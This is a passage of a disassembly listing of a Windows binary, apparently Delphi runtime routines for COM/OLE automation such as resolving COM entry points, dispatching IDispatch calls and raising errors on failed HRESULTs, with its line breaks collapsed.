loc_40016021 ; --------------------------------------------------------------------------- loc_40016031: ; CODE XREF: sub_40015FB8+71j ; DATA XREF: sub_40015FB8+64o mov eax, edi test bl, bl jz short loc_40016046 call sub_40003F88 pop large dword ptr fs:0 add esp, 0Ch loc_40016046: ; CODE XREF: sub_40015FB8+7Dj mov eax, edi pop edi pop esi pop ebx pop ecx pop ebp retn 10h sub_40015FB8 endp ; =============== S U B R O U T I N E ======================================= sub_40016050 proc near ; CODE XREF: sub_4001606C+7p push ebx mov ebx, eax push ebx push 0 xor ecx, ecx mov dl, 1 mov eax, ds:off_40015D80 call sub_40015EE4 call sub_400042E4 pop ebx retn sub_40016050 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4001606C proc near ; CODE XREF: sub_400165F0:loc_400166BCp test eax, 80000000h jz short locret_40016078 call sub_40016050 locret_40016078: ; CODE XREF: sub_4001606C+5j retn sub_4001606C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4001607C proc near ; CODE XREF: .itext:400193A1p push ebx push offset dword_400160F0 call sub_400065A0 ; GetModuleHandleA mov ebx, eax test ebx, ebx jz short loc_400160ED push offset aCocreateinstan ; "CoCreateInstanceEx" push ebx call sub_400065A8 ; GetProcAddress mov dword_4001AD88, eax push offset aCoinitializeex ; "CoInitializeEx" push ebx call sub_400065A8 ; GetProcAddress mov dword_4001AD8C, eax push offset aCoaddrefserver ; "CoAddRefServerProcess" push ebx call sub_400065A8 ; GetProcAddress mov dword_4001AD90, eax push offset aCoreleaseserve ; "CoReleaseServerProcess" push ebx call sub_400065A8 ; GetProcAddress mov dword_4001AD94, eax push offset aCoresumeclasso ; "CoResumeClassObjects" push ebx call sub_400065A8 ; GetProcAddress mov dword_4001AD98, eax push offset aCosuspendclass ; "CoSuspendClassObjects" push ebx call sub_400065A8 ; GetProcAddress mov dword_4001AD9C, eax loc_400160ED: ; CODE XREF: sub_4001607C+Fj pop ebx retn sub_4001607C endp ; --------------------------------------------------------------------------- align 10h dword_400160F0 dd 33656C6Fh, 6C642E32h, 6ChaCocreateinstan db 'CoCreateInstanceEx',0 ; DATA XREF: sub_4001607C+11o align 10h aCoinitializeex db 'CoInitializeEx',0 ; DATA XREF: sub_4001607C+21o align 10h aCoaddrefserver db 'CoAddRefServerProcess',0 ; DATA XREF: sub_4001607C+31o align 4 aCoreleaseserve db 'CoReleaseServerProcess',0 ; DATA XREF: sub_4001607C+41o align 10h aCoresumeclasso db 'CoResumeClassObjects',0 ; DATA XREF: sub_4001607C+51o align 4 aCosuspendclass db 'CoSuspendClassObjects',0 ; DATA XREF: sub_4001607C+61o align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40016180 proc near ; DATA XREF: .itext:400193BEo ; .bss:off_4001C020o var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 40016277 SIZE 00000006 BYTES push ebp mov ebp, esp xor ecx, ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ebx push esi mov esi, edx mov ebx, eax xor eax, eax push ebp push offset loc_40016270 push dword ptr fs:[eax] mov fs:[eax], esp xor eax, eax mov [ebp+var_14], eax lea eax, [ebp+var_4] call sub_40006204 push eax push 0 call sub_40006B08 test eax, eax jnz short loc_400161FD lea eax, [ebp+var_8] call sub_40005008 push eax mov eax, [ebp+var_4] push eax mov eax, [eax] call dword ptr [eax+10h] lea eax, [ebp+var_C] call sub_40005008 push eax mov eax, [ebp+var_4] push eax mov eax, [eax] call dword ptr [eax+14h] lea eax, [ebp+var_10] call sub_40005008 push eax mov eax, [ebp+var_4] push eax mov eax, [eax] call dword ptr [eax+18h] lea eax, [ebp+var_14] push eax mov eax, [ebp+var_4] push eax mov eax, [eax] call dword ptr [eax+1Ch] loc_400161FD: ; CODE XREF: sub_40016180+38j push esi push ebx lea eax, [ebp+var_18] mov edx, [ebp+var_8] call sub_40004B0C mov eax, [ebp+var_18] push eax lea eax, [ebp+var_1C] mov edx, [ebp+var_10] call sub_40004B0C mov eax, [ebp+var_1C] push eax mov eax, [ebp+var_14] push eax lea eax, [ebp+var_20] mov edx, [ebp+var_C] call sub_40004B0C mov ecx, [ebp+var_20] mov dl, 1 mov eax, ds:off_40015DDC call sub_40015FB8 jmp sub_400042E4 ; --------------------------------------------------------------------------- xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40016277 loc_4001624D: ; CODE XREF: .text:40016275j lea eax, [ebp+var_20] mov edx, 3 call sub_400048A8 lea eax, [ebp+var_10] mov edx, 3 call sub_40005020 lea eax, [ebp+var_4] call sub_40006204 retn ; --------------------------------------------------------------------------- loc_40016270: ; DATA XREF: sub_40016180+16o jmp loc_40004204 sub_40016180 endp ; --------------------------------------------------------------------------- jmp short loc_4001624D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_40016180 loc_40016277: ; CODE XREF: sub_40016180+EFj ; DATA XREF: sub_40016180+C8o pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_40016180 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40016280 proc near ; CODE XREF: sub_400166E8+8Fp var_650 = dword ptr -650h var_250 = dword ptr -250h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 40004204 SIZE 00000080 BYTES ; FUNCTION CHUNK AT 400042A4 SIZE 00000006 BYTES push ebp mov ebp, esp add esp, 0FFFFF9B0h push ebx push esi push edi mov [ebp+var_28], ecx mov esi, edx mov [ebp+var_24], eax lea eax, [ebp+var_20] mov edx, ds:off_40006ABC call sub_40005204 xor eax, eax push ebp push offset loc_400165AB push dword ptr fs:[eax] mov fs:[eax], esp xor eax, eax mov [ebp+var_30], eax xor ecx, ecx push ebp push offset loc_40016588 push dword ptr fs:[ecx] mov fs:[ecx], esp movzx edi, byte ptr [esi+1] cmp edi, 40h jle short loc_400162E3 mov ecx, off_4001AF64 mov dl, 1 mov eax, ds:off_40015DDC call sub_4000B0EC call sub_400042E4 loc_400162E3: ; CODE XREF: sub_40016280+4Aj test edi, edi jz loc_400164AC mov eax, [ebp+arg_4] mov [ebp+var_34], eax mov eax, edi add eax, eax lea eax, [ebp+eax*8+var_650] mov [ebp+var_38], eax xor ebx, ebx loc_40016301: ; CODE XREF: sub_40016280+226j sub [ebp+var_38], 10h movzx eax, byte ptr [esi+ebx+3] mov edx, eax and dl, 7Fh movzx edx, dl mov [ebp+var_2C], edx and al, 80h cmp [ebp+var_2C], 0Ah jnz short loc_40016335 mov eax, [ebp+var_38] mov dword ptr [eax], 0Ah mov eax, [ebp+var_38] mov dword ptr [eax+8], 80020004h jmp loc_400164A3 ; --------------------------------------------------------------------------- loc_40016335: ; CODE XREF: sub_40016280+9Bj cmp [ebp+var_2C], 48h jnz short loc_400163AF mov edx, [ebp+var_30] lea edx, [ebp+edx*8+var_250] mov [ebp+var_3C], edx test al, al jz short loc_4001637C mov eax, [ebp+var_34] mov eax, [eax] mov eax, [eax] call sub_40005674 mov edx, [ebp+var_3C] mov [edx], eax mov eax, [ebp+var_34] mov eax, [eax] mov edx, [ebp+var_3C] mov [edx+4], eax mov eax, [ebp+var_38] mov dword ptr [eax], 4008h mov eax, [ebp+var_3C] mov edx, [ebp+var_38] mov [edx+8], eax jmp short loc_400163A7 ; --------------------------------------------------------------------------- loc_4001637C: ; CODE XREF: sub_40016280+CAj mov eax, [ebp+var_34] mov eax, [eax] call sub_40005674 mov edx, [ebp+var_3C] mov [edx], eax mov eax, [ebp+var_3C] xor edx, edx mov [eax+4], edx mov eax, [ebp+var_38] mov dword ptr [eax], 8 mov eax, [ebp+var_3C] mov eax, [eax] mov edx, [ebp+var_38] mov [edx+8], eax loc_400163A7: ; CODE XREF: sub_40016280+FAj inc [ebp+var_30] jmp loc_4001649F ; --------------------------------------------------------------------------- loc_400163AF: ; CODE XREF: sub_40016280+B9j test al, al jz short loc_400163F8 cmp [ebp+var_2C], 0Ch jnz short loc_400163DB mov eax, [ebp+var_34] mov eax, [eax] cmp word ptr [eax], 100h jnz short loc_400163DB mov eax, [ebp+var_34] mov eax, [eax] mov edx, eax mov eax, [ebp+var_34] mov eax, [eax] mov ecx, 8 call sub_4000E9CC loc_400163DB: ; CODE XREF: sub_40016280+137j ; sub_40016280+143j mov eax, [ebp+var_2C] or eax, 4000h mov edx, [ebp+var_38] mov [edx], eax mov eax, [ebp+var_34] mov eax, [eax] mov edx, [ebp+var_38] mov [edx+8], eax jmp loc_4001649F ; --------------------------------------------------------------------------- loc_400163F8: ; CODE XREF: sub_40016280+131j cmp [ebp+var_2C], 0Ch jnz short loc_40016471 mov eax, [ebp+var_34] cmp word ptr [eax], 100h jnz short loc_40016446 mov eax, [ebp+var_30] lea eax, [ebp+eax*8+var_250] mov [ebp+var_40], eax mov eax, [ebp+var_34] mov eax, [eax+8] call sub_40005674 mov edx, [ebp+var_40] mov [edx], eax mov eax, [ebp+var_40] xor edx, edx mov [eax+4], edx mov eax, [ebp+var_38] mov dword ptr [eax], 8 mov eax, [ebp+var_40] mov eax, [eax] mov edx, [ebp+var_38] mov [edx+8], eax inc [ebp+var_30] jmp short loc_4001649F ; --------------------------------------------------------------------------- loc_40016446: ; CODE XREF: sub_40016280+186j mov eax, [ebp+var_34] mov edx, [eax] mov ecx, [ebp+var_38] mov [ecx], edx mov edx, [eax+4] mov ecx, [ebp+var_38] mov [ecx+4], edx mov edx, [eax+8] mov ecx, [ebp+var_38] mov [ecx+8], edx mov eax, [eax+0Ch] mov edx, [ebp+var_38] mov [edx+0Ch], eax add [ebp+var_34], 0Ch jmp short loc_4001649F ; --------------------------------------------------------------------------- loc_40016471: ; CODE XREF: sub_40016280+17Cj mov eax, [ebp+var_38] mov edx, [ebp+var_2C] mov [eax], edx mov eax, [ebp+var_34] mov eax, [eax] mov edx, [ebp+var_38] mov [edx+8], eax cmp [ebp+var_2C], 5 jl short loc_4001649F cmp [ebp+var_2C], 7 jg short loc_4001649F add [ebp+var_34], 4 mov eax, [ebp+var_34] mov eax, [eax] mov edx, [ebp+var_38] mov [edx+0Ch], eax loc_4001649F: ; CODE XREF: sub_40016280+12Aj ; sub_40016280+173j ... add [ebp+var_34], 4 loc_400164A3: ; CODE XREF: sub_40016280+B0j inc ebx cmp edi, ebx jnz loc_40016301 loc_400164AC: ; CODE XREF: sub_40016280+65j lea eax, [ebp+var_650] mov [ebp+var_50], eax mov eax, [ebp+var_28] add eax, 4 mov [ebp+var_4C], eax mov [ebp+var_48], edi movzx eax, byte ptr [esi+2] mov [ebp+var_44], eax mov eax, [ebp+var_28] mov edx, [eax] movzx eax, byte ptr [esi] cmp eax, 4 jnz short loc_400164FD mov ecx, [ebp+var_650] and ecx, 0FFFh cmp ecx, 9 jnz short loc_400164EB mov eax, 8 loc_400164EB: ; CODE XREF: sub_40016280+264j mov ecx, [ebp+var_28] mov dword ptr [ecx], 0FFFFFFFDh sub [ebp+var_4C], 4 inc [ebp+var_44] jmp short loc_40016511 ; --------------------------------------------------------------------------- loc_400164FD: ; CODE XREF: sub_40016280+253j cmp eax, 1 jnz short loc_40016511 test edi, edi jnz short loc_40016511 cmp [ebp+arg_0], 0 jz short loc_40016511 mov eax, 3 loc_40016511: ; CODE XREF: sub_40016280+27Bj ; sub_40016280+280j ... push 0 lea ecx, [ebp+var_20] push ecx mov ecx, [ebp+arg_0] push ecx lea ecx, [ebp+var_50] push ecx push eax push 0 mov eax, off_4001AFA8 push eax push edx mov eax, [ebp+var_24] push eax mov eax, [eax] call dword ptr [eax+18h] test eax, eax jz short loc_4001653E lea edx, [ebp+var_20] call sub_40016858 loc_4001653E: ; CODE XREF: sub_40016280+2B4j mov ebx, [ebp+var_30] test ebx, ebx jz short loc_40016561 loc_40016545: ; CODE XREF: sub_40016280+2DFj dec ebx lea esi, [ebp+ebx*8+var_250] mov edi, [esi+4] test edi, edi jz short loc_4001655D mov edx, edi mov eax, [esi] call sub_40005650 loc_4001655D: ; CODE XREF: sub_40016280+2D2j test ebx, ebx jnz short loc_40016545 loc_40016561: ; CODE XREF: sub_40016280+2C3j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4001658F loc_4001656E: ; CODE XREF: sub_40016280+30Dj mov ebx, [ebp+var_30] test ebx, ebx jz short locret_40016587 loc_40016575: ; CODE XREF: sub_40016280+305j dec ebx mov eax, [ebp+ebx*8+var_250] push eax call sub_40006B00 test ebx, ebx jnz short loc_40016575 locret_40016587: ; CODE XREF: sub_40016280+2F3j retn ; --------------------------------------------------------------------------- loc_40016588: ; DATA XREF: sub_40016280+38o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_4001656E ; --------------------------------------------------------------------------- loc_4001658F: ; DATA XREF: sub_40016280+2E9o xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_400165B2 loc_4001659C: ; CODE XREF: sub_40016280+330j lea eax, [ebp+var_20] mov edx, ds:off_40006ABC call sub_400052C8 retn ; --------------------------------------------------------------------------- loc_400165AB: ; DATA XREF: sub_40016280+25o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_4001659C ; --------------------------------------------------------------------------- loc_400165B2: ; CODE XREF: sub_40016280+32Aj ; DATA XREF: sub_40016280+317o pop edi pop esi pop ebx mov esp, ebp pop ebp retn 8 sub_40016280 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_400165BC proc near ; CODE XREF: sub_400165F0+C4p var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFF8h mov eax, [ebp+arg_0] mov eax, [eax-4] mov [ebp+var_8], eax mov [ebp+var_4], 6 lea eax, [ebp+var_8] push eax push 0 mov ecx, off_4001B044 mov dl, 1 mov eax, ds:off_40015D28 call sub_4000B128 call sub_400042E4 pop ecx pop ecx pop ebp retn sub_400165BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_400165F0 proc near ; CODE XREF: sub_400166E8+6Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFE4h push ebx push esi push edi mov [ebp+var_C], ecx mov [ebp+var_4], edx mov [ebp+var_1C], eax mov ebx, [ebp+var_4] xor edi, edi mov [ebp+var_8], esp mov eax, [ebp+var_C] inc eax shl eax, 2 sub esp, eax lea eax, [ebp+var_10] mov [eax], esp loc_40016618: ; CODE XREF: sub_400165F0+99j mov eax, ebx call sub_4000815C mov esi, eax push 0 push 0 push esi push ebx push 0 push 0 call sub_40006610 ; MultiByteToWideChar inc eax mov [ebp+var_14], eax mov eax, [ebp+var_14] add eax, eax add eax, 3 and eax, 0FFFFFFFCh sub esp, eax lea eax, [ebp+var_18] mov [eax], esp test edi, edi jnz short loc_40016654 mov eax, [ebp+var_10] mov edx, [ebp+var_18] mov [eax], edx jmp short loc_40016662 ; --------------------------------------------------------------------------- loc_40016654: ; CODE XREF: sub_400165F0+58j mov eax, [ebp+var_C] sub eax, edi mov edx, [ebp+var_10] mov ecx, [ebp+var_18] mov [edx+eax*4], ecx loc_40016662: ; CODE XREF: sub_400165F0+62j mov eax, [ebp+var_14] push eax mov eax, [ebp+var_18] push eax push esi push ebx push 0 push 0 call sub_40006610 ; MultiByteToWideChar mov eax, [ebp+var_18] mov edx, [ebp+var_14] mov word ptr [eax+edx*2-2], 0 inc esi add ebx, esi inc edi cmp edi, [ebp+var_C] jnz short loc_40016618 mov eax, [ebp+arg_0] push eax call sub_400065C8 ; GetThreadLocale push eax mov eax, [ebp+var_C] push eax mov eax, [ebp+var_10] push eax mov eax, off_4001AFA8 push eax mov eax, [ebp+var_1C] push eax mov eax, [eax] call dword ptr [eax+14h] cmp eax, 80020006h jnz short loc_400166BC push ebp call sub_400165BC pop ecx jmp short loc_400166C1 ; --------------------------------------------------------------------------- loc_400166BC: ; CODE XREF: sub_400165F0+C1j call sub_4001606C loc_400166C1: ; CODE XREF: sub_400165F0+CAj mov esp, [ebp+var_8] pop edi pop esi pop ebx mov esp, ebp pop ebp retn 4 sub_400165F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_400166D0 proc near ; CODE XREF: sub_400166E8:loc_4001673Bp mov ecx, off_4001B07C mov dl, 1 mov eax, ds:off_40015D28 call sub_4000B0EC call sub_400042E4 retn sub_400166D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_400166E8 proc near ; DATA XREF: .itext:400193A6o ; .bss:off_4001F294o var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp add esp, 0FFFFFEFCh push ebx push esi mov ebx, [ebp+arg_8] mov eax, [ebp+arg_4] mov esi, [ebp+arg_0] cmp byte ptr [ebx+1], 40h jbe short loc_40016719 mov ecx, off_4001AF64 mov dl, 1 mov eax, ds:off_40015D28 call sub_4000B0EC call sub_400042E4 loc_40016719: ; CODE XREF: sub_400166E8+18j movzx edx, word ptr [eax] cmp dx, 9 jnz short loc_4001672A mov eax, [eax+8] mov [ebp+var_4], eax jmp short loc_40016740 ; --------------------------------------------------------------------------- loc_4001672A: ; CODE XREF: sub_400166E8+38j cmp dx, 4009h jnz short loc_4001673B mov eax, [eax+8] mov eax, [eax] mov [ebp+var_4], eax jmp short loc_40016740 ; --------------------------------------------------------------------------- loc_4001673B: ; CODE XREF: sub_400166E8+47j call sub_400166D0 loc_40016740: ; CODE XREF: sub_400166E8+40j ; sub_400166E8+51j lea eax, [ebp+var_104] push eax movzx ecx, byte ptr [ebx+2] inc ecx movzx eax, byte ptr [ebx+1] lea edx, [ebx+eax+3] mov eax, [ebp+var_4] call sub_400165F0 test esi, esi jz short loc_40016767 mov eax, esi call sub_4000E3D8 loc_40016767: ; CODE XREF: sub_400166E8+76j mov eax, [ebp+arg_C] push eax push esi lea ecx, [ebp+var_104] mov edx, ebx mov eax, [ebp+var_4] call sub_40016280 pop esi pop ebx mov esp, ebp pop ebp retn sub_400166E8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40016784 proc near ; CODE XREF: sub_40016858+4p ; sub_40016874+D4j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 8 push ebp mov ebp, esp push 0 push 0 push 0 push 0 push ebx push esi mov [ebp+var_4], ecx mov ebx, edx xor edx, edx push ebp push offset loc_40016849 push dword ptr fs:[edx] mov fs:[edx], esp cmp eax, 80020009h jnz short loc_40016802 mov eax, [ebx+1Ch] push eax lea eax, [ebp+var_8] mov edx, [ebx+4] call sub_40004B0C mov eax, [ebp+var_8] push eax lea eax, [ebp+var_C] mov edx, [ebx+0Ch] call sub_40004B0C mov eax, [ebp+var_C] push eax mov eax, [ebx+10h] push eax lea eax, [ebp+var_10] mov edx, [ebx+8] call sub_40004B0C mov ecx, [ebp+var_10] mov dl, 1 mov eax, ds:off_40015DDC call sub_40015FB8 mov esi, eax cmp [ebp+arg_0], 0 jz short loc_40016815 mov eax, ebx mov edx, ds:off_40006ABC call sub_40005400 jmp short loc_40016815 ; --------------------------------------------------------------------------- loc_40016802: ; CODE XREF: sub_40016784+25j push eax push 0 xor ecx, ecx mov dl, 1 mov eax, ds:off_40015D80 call sub_40015EE4 mov esi, eax loc_40016815: ; CODE XREF: sub_40016784+6Dj ; sub_40016784+7Cj cmp [ebp+var_4], 0 jz short loc_40016827 push [ebp+var_4] mov eax, esi jmp sub_400042E4 ; --------------------------------------------------------------------------- jmp short loc_4001682E ; --------------------------------------------------------------------------- loc_40016827: ; CODE XREF: sub_40016784+95j mov eax, esi call sub_400042E4 loc_4001682E: ; CODE XREF: sub_40016784+A1j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40016850 loc_4001683B: ; CODE XREF: sub_40016784+CAj lea eax, [ebp+var_10] mov edx, 3 call sub_400048A8 retn ; --------------------------------------------------------------------------- loc_40016849: ; DATA XREF: sub_40016784+15o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_4001683B ; --------------------------------------------------------------------------- loc_40016850: ; CODE XREF: sub_40016784+C4j ; DATA XREF: sub_40016784+B2o pop esi pop ebx mov esp, ebp pop ebp retn 4 sub_40016784 endp ; =============== S U B R O U T I N E ======================================= sub_40016858 proc near ; CODE XREF: sub_40016280+2B9p push 0 xor ecx, ecx call sub_40016784 retn sub_40016858 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40016864 proc near ; CODE XREF: sub_40016874+A6p xor ecx, ecx mov edx, 20h call sub_40003580 retn sub_40016864 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40016874 proc near ; CODE XREF: sub_40016958+1Ep var_30 = byte ptr -30h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp add esp, 0FFFFFFD0h push ebx push esi push edi mov ebx, [ebp+arg_4] xor edx, edx mov edi, esp movzx ecx, byte ptr [ebx+1] mov [ebp+var_8], ecx test ecx, ecx jz short loc_400168DA add ebx, 3 mov esi, [ebp+arg_10] loc_40016895: ; CODE XREF: sub_40016874+61j movzx eax, byte ptr [ebx] test al, 80h jnz short loc_400168C4 cmp al, 0Ch jz short loc_400168B4 cmp al, 5 jb short loc_400168CB cmp al, 7 ja short loc_400168CB push dword ptr [esi+4] push dword ptr [esi] push edx push eax add esi, 8 jmp short loc_400168D3 ; --------------------------------------------------------------------------- loc_400168B4: ; CODE XREF: sub_40016874+2Aj push dword ptr [esi+0Ch] push dword ptr [esi+8] push dword ptr [esi+4] push dword ptr [esi] add esi, 10h jmp short loc_400168D3 ; --------------------------------------------------------------------------- loc_400168C4: ; CODE XREF: sub_40016874+26j and al, 7Fh or eax, 4000h loc_400168CB: ; CODE XREF: sub_40016874+2Ej ; sub_40016874+32j push edx push dword ptr [esi] push edx push eax add esi, 4 loc_400168D3: ; CODE XREF: sub_40016874+3Ej ; sub_40016874+4Ej inc ebx dec ecx jnz short loc_40016895 mov ebx, [ebp+arg_4] loc_400168DA: ; CODE XREF: sub_40016874+19j mov [ebp+var_10], esp movzx eax, byte ptr [ebx+2] mov [ebp+var_4], eax test eax, eax jz short loc_400168F2 mov esi, [ebp+arg_C] loc_400168EB: ; CODE XREF: sub_40016874+7Cj push dword ptr [esi+eax*4-4] dec eax jnz short loc_400168EB loc_400168F2: ; CODE XREF: sub_40016874+72j movzx ecx, byte ptr [ebx] cmp ecx, 4 jnz short loc_40016910 push 0FFFFFFFDh inc [ebp+var_4] cmp byte ptr [ebx+3], 9 jz short loc_4001690B cmp byte ptr [ebx+3], 0Dh jnz short loc_40016910 loc_4001690B: ; CODE XREF: sub_40016874+8Fj mov ecx, 8 loc_40016910: ; CODE XREF: sub_40016874+84j ; sub_40016874+95j mov [ebp+var_C], esp push edx lea eax, [ebp+var_30] push eax push ecx push edx call sub_40016864 pop edx pop ecx push [ebp+arg_14] lea eax, [ebp+var_10] push eax push ecx push edx push offset dword_4001A7CC push [ebp+arg_8] mov eax, [ebp+arg_0] push eax mov eax, [eax] call dword ptr [eax+18h] test eax, eax jz short loc_4001694D lea edx, [ebp+var_30] mov cl, 1 push ecx mov ecx, [ebp+4] jmp sub_40016784 ; --------------------------------------------------------------------------- loc_4001694D: ; CODE XREF: sub_40016874+C9j mov esp, edi pop edi pop esi pop ebx mov esp, ebp pop ebp retn 18h sub_40016874 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40016958 proc near ; DATA XREF: .itext:400193B8o ; .bss:off_4001C000o var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_8] xor eax, eax push eax push eax push eax push eax mov eax, esp push eax lea eax, [ebp+arg_C] push eax push eax push dword ptr [ebx] lea eax, [ebx+5] push eax push [ebp+arg_4] call sub_40016874 movzx eax, byte ptr [ebx+4] mov ebx, [ebp+arg_0] jmp ds:off_40016989[eax*4] ; --------------------------------------------------------------------------- off_40016989 dd offset loc_40016A2E ; DATA XREF: sub_40016958+2Ar dd offset loc_40016A2E dd offset loc_40016A2A dd offset loc_40016A2A dd offset loc_400169CD dd offset loc_400169D3 dd offset loc_400169D9 dd offset loc_400169D3 dd offset loc_400169DF dd offset loc_400169F3 dd offset loc_40016A2E dd offset loc_40016A2A dd offset loc_40016A07 dd offset loc_400169F3 dd offset loc_40016A2E dd offset loc_40016A2E dd offset loc_40016A2A ; --------------------------------------------------------------------------- loc_400169CD: ; CODE XREF: sub_40016958+2Aj ; DATA XREF: sub_40016958+41o fld dword ptr [esp+14h+var_C] jmp short loc_40016A2E ; --------------------------------------------------------------------------- loc_400169D3: ; CODE XREF: sub_40016958+2Aj ; DATA XREF: sub_40016958+45o ... fld [esp+14h+var_C] jmp short loc_40016A2E ; --------------------------------------------------------------------------- loc_400169D9: ; CODE XREF: sub_40016958+2Aj ; DATA XREF: sub_40016958+49o fild [esp+14h+var_C] jmp short loc_40016A2E ; --------------------------------------------------------------------------- loc_400169DF: ; CODE XREF: sub_40016958+2Aj ; DATA XREF: sub_40016958+51o mov eax, [ebx] test eax, eax jz short loc_400169EB push eax call sub_40006B00 loc_400169EB: ; CODE XREF: sub_40016958+8Bj mov eax, dword ptr [esp+14h+var_C] mov [ebx], eax jmp short loc_40016A2E ; --------------------------------------------------------------------------- loc_400169F3: ; CODE XREF: sub_40016958+2Aj ; DATA XREF: sub_40016958+55o ... mov eax, [ebx] test eax, eax jz short loc_400169FF push eax mov eax, [eax] call dword ptr [eax+8] loc_400169FF: ; CODE XREF: sub_40016958+9Fj mov eax, dword ptr [esp+14h+var_C] mov [ebx], eax jmp short loc_40016A2E ; --------------------------------------------------------------------------- loc_40016A07: ; CODE XREF: sub_40016958+2Aj ; DATA XREF: sub_40016958+61o mov eax, ebx call sub_4000E3D8 mov eax, [esp+14h+var_14] mov [ebx], eax mov eax, [esp+14h+var_10] mov [ebx+4], eax mov eax, dword ptr [esp+14h+var_C] mov [ebx+8], eax mov eax, dword ptr [esp+14h+var_C+4] mov [ebx+0Ch], eax jmp short loc_40016A2E ; --------------------------------------------------------------------------- loc_40016A2A: ; CODE XREF: sub_40016958+2Aj ; DATA XREF: sub_40016958+39o ... mov eax, dword ptr [esp+14h+var_C] loc_40016A2E: ; CODE XREF: sub_40016958+2Aj ; sub_40016958+79j ... add esp, 10h pop ebx pop ebp retn sub_40016958 endp ; =============== S U B R O U T I N E ======================================= sub_40016A34 proc near ; DATA XREF: .itext:400193E6o ; .bss:off_4001C044o cmp ds:dword_4001F370, 0 jz short loc_40016A43 call ds:dword_4001F370 loc_40016A43: ; CODE XREF: sub_40016A34+7j cmp dword_4001ADA0, 0FFFFFFFFh jz short loc_40016A9B cmp dword_4001AD8C, 0 jz short loc_40016A9B mov eax, dword_4001ADA0 push eax push 0 call dword_4001AD8C test eax, 80000000h setz al mov ds:byte_4001F374, al mov eax, off_4001AF20 cmp byte ptr [eax], 0 jnz short loc_40016A90 test byte ptr dword_4001ADA0, 2 jnz short loc_40016A90 cmp dword_4001ADA0, 0 jz short loc_40016A90 xor eax, eax jmp short loc_40016A92 ; --------------------------------------------------------------------------- loc_40016A90: ; CODE XREF: sub_40016A34+44j ; sub_40016A34+4Dj ... mov al, 1 loc_40016A92: ; CODE XREF: sub_40016A34+5Aj mov edx, off_4001AF20 mov [edx], al retn ; --------------------------------------------------------------------------- loc_40016A9B: ; CODE XREF: sub_40016A34+16j ; sub_40016A34+1Fj push 0 call sub_40006AF0 test eax, 80000000h setz al mov ds:byte_4001F374, al retn sub_40016A34 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40016AB0 proc near ; DATA XREF: .text:400183D0o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_40016B26 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_4001F364 jnz short loc_40016B18 mov ds:byte_4001F368, 1 mov eax, ds:dword_4001F36C call sub_40003CE8 mov eax, off_4001B054 xor edx, edx mov [eax], edx mov eax, off_4001AEF8 xor edx, edx mov [eax], edx mov eax, off_4001B02C xor edx, edx mov [eax], edx cmp ds:byte_4001F374, 0 jz short loc_40016B03 call sub_40006AF8 loc_40016B03: ; CODE XREF: 